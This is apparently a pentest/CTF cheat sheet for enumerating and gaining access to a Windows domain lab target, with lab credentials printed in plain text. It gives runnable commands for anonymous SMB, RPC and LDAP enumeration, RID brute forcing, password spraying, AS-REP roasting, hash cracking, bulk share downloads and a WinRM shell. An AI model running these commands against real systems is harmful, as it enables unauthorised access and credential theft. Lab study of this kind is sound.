

Windows Enumeration

Note: Always try guest user with blank password

Windows Enumeration Before Exploitation (Pentest/CTF Guide)

Target IP: `10.10.11.35`

Domain: `CICADA.local` (from LDAP/Kerberos certs)

Example Creds: `guest:''`, or found from shares/password spraying

Overview of Exposed Ports

Port	Service	Use for Enum
88	Kerberos	AS-REP roasting, auth-based spray
135	MS RPC	<code>rpcclient</code> , RID brute
139	NetBIOS/SMBv1	Legacy SMB shares
389	LDAP	Dump users/groups with <code>ldapsearch</code>
445	SMB	Shares, RID brute, login
464	kpasswd	Kerberos password change
593	RPC over HTTP	Privileged services
636	LDAPS	Secure LDAP
5985	WinRM	Remote shell after creds
3268/3269	GC LDAP	Cross-domain LDAP (GC)

1. SMB Share & User Enumeration

◆ 1.1 List Shares (Anonymous or with creds)

```
smbclient -L //10.10.11.35 -N  
# or with creds:  
smbclient -L //10.10.11.35 -U h.ramos
```

◆ 1.2 List Share Contents

```
smbclient //10.10.11.35/HR -U guest  
smb: \> dir  
smb: \> get "filename.txt"
```

2. User Enumeration

◆ 2.1 **rpcclient** for RID/User/Group Enumeration

Anonymous connect:

```
rpcclient -U "" 10.10.11.35
```

Or with creds:

```
rpcclient -U 'guest' 10.10.11.35
```

Useful commands inside:

```
> enumdomusers
```

```
> queryuser 0x3e9      # RID for a user (e.g., 1001)
> enumdomgroups
> querygroupmem 0x201   # RID for a group
> enumalsgroups domain
> getdompwinfo
> srvinfo
```

This is effective for finding:

- Active domain users
- Group memberships
- Password policy (min length, lockout threshold)

◆ 2.2 `lookupsid.py` (Impacket)

```
lookupsid.py CICADA.local/guest:''@10.10.11.35
```

| Brute RIDs to map usernames & groups.

◆ 2.3 CrackMapExec or NetExec

```
crackmapexec smb 10.10.11.35 --users
crackmapexec smb 10.10.11.35 --shares
```

For password spray:

```
crackmapexec smb 10.10.11.35 -u users.txt -p 'Welcome123'
```

◆ 2.4 `enum4linux` (Legacy)

```
enum4linux -a 10.10.11.35
```

Still useful for:

- RID cycling
- Share enumeration
- Group info

🔑 3. Kerberos User Checks

◆ 3.1 AS-REP Roasting

If users don't require pre-auth:

```
GetNPUsers.py CICADA.local/ -no-pass -usersfile users.txt -dc-ip 10.10.11.35
```

Crack hashes:

```
john hashes.txt --wordlist=rockyou.txt
```

📖 4. LDAP Enumeration

◆ 4.1 Anonymous LDAP Search

```
ldapsearch -x -H ldap://10.10.11.35 -s base namingcontexts  
ldapsearch -x -H ldap://10.10.11.35 -b "DC=cicada,DC=local"
```

Look for:

- `sAMAccountName`
- `userPrincipalName`
- `objectClass=user`

5. Navigating SMB as Authenticated User

Once you get valid creds:

```
smbclient //10.10.11.35/Users -U h.ramos
```

Use:

```
smb: \> dir  
smb: \> cd Desktop  
smb: \> get secrets.txt
```

Recursive download:

```
smb: \> recurse ON  
smb: \> prompt OFF  
smb: \> mget *
```

6. Remote Access (If Creds Found)

WinRM:

```
evil-winrm -i 10.10.11.35 -u h.ramos -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

Command Summary Table

Tool	Purpose	Example
<code>smbclient</code>	List/access SMB shares	<code>smbclient //IP/share -U user</code>
<code>rpcclient</code>	Enum users/groups/policies	<code>enumdomusers</code> , <code>querygroupmem</code>
<code>lookupsid.py</code>	RID brute user/group names	<code>lookupsid.py domain/user@ip</code>
<code>crackmapexec</code>	Spray users, check shares	<code>cme smb IP -u user -p pass</code>
<code>enum4linux</code>	Legacy enum tool	<code>enum4linux -a IP</code>
<code>netexec</code>	Fast RID brute & spraying	<code>netexec smb IP --rid-brute</code>
<code>ldapsearch</code>	Enum users via LDAP	<code>ldapsearch -x -H ldap://IP</code>
<code>GetNPUsers.py</code>	AS-REP roast users	<code>GetNPUsers.py domain/ -no-pass</code>
<code>evil-winrm</code>	Shell if WinRM open	<code>evil-winrm -i IP -u user -p pass</code>

```
crackmapexec smb 192.168.1.10 -u 'guest' -p "" -M spider_plus
```

```
cat /tmp/cme_spider_plus/ <ip>.json |jq '. |map_values(keys)'
```

This command recursively searches shared directories for files matching certain patterns or extensions then you use the second command to print out all the values.

If you hit a roadblock—such as having a list of valid usernames but not knowing what to do next—it's a good idea to consider common, lazy password practices. One quick method is to use the same list of usernames as the password list, assuming that some users may have set their password to match their username. You can try this using `crackmapexec` with the following command: `crackmapexec smb 10.10.10.172 -u users.txt -p users.txt`. This approach can sometimes yield results if users have weak or predictable credentials.

Another useful strategy is to try a short and simple password list against your known usernames. Tools like CrackMapExec or Hydra can help automate this process. For example, you could use CrackMapExec with a custom password list like `simple-passwords.txt`, which might include passwords such as `password`, `Password123`, `welcome`, `Welcome1`, or even the username followed by a number (e.g., `username123`). With Hydra, the command would look like `hydra -L users.txt -P simple-passwords.txt smb://10.10.10.172`. These tools allow you to quickly test multiple combinations without needing Impacket or brute-force techniques, as long as your wordlist is smart and targeted.

You can use John the Ripper to generate a smart password list by applying common password mutations to a base wordlist. For example, running `john --wordlist=base.txt --rules --stdout > mutated.txt` takes the words in `base.txt` (like usernames or simple words) and applies transformation rules—such as adding numbers, capitalizing letters, or replacing characters—to create a much more effective wordlist saved as `mutated.txt`. This is useful for targeting lazy or common password practices without brute-forcing blindly.